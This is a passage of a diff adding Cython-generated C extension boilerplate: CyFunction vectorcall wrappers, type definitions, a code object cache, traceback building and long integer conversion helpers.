NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__33); + } + return name; +} +#endif + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 3 * PyLong_SHIFT)) { + return (long) (((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 4 * PyLong_SHIFT)) { + return (long) (((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (long) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(long) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(long) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(long, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(long) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + return (long) ((((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(long) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + return (long) ((((((((long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(long) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 * PyLong_SHIFT)) { + return (long) (((long)-1)*(((((((((long)digits[3]) << PyLong_SHIFT) | (long)digits[2]) << PyLong_SHIFT) | (long)digits[1]) << PyLong_SHIFT) | (long)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(long) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) - 1 > 4 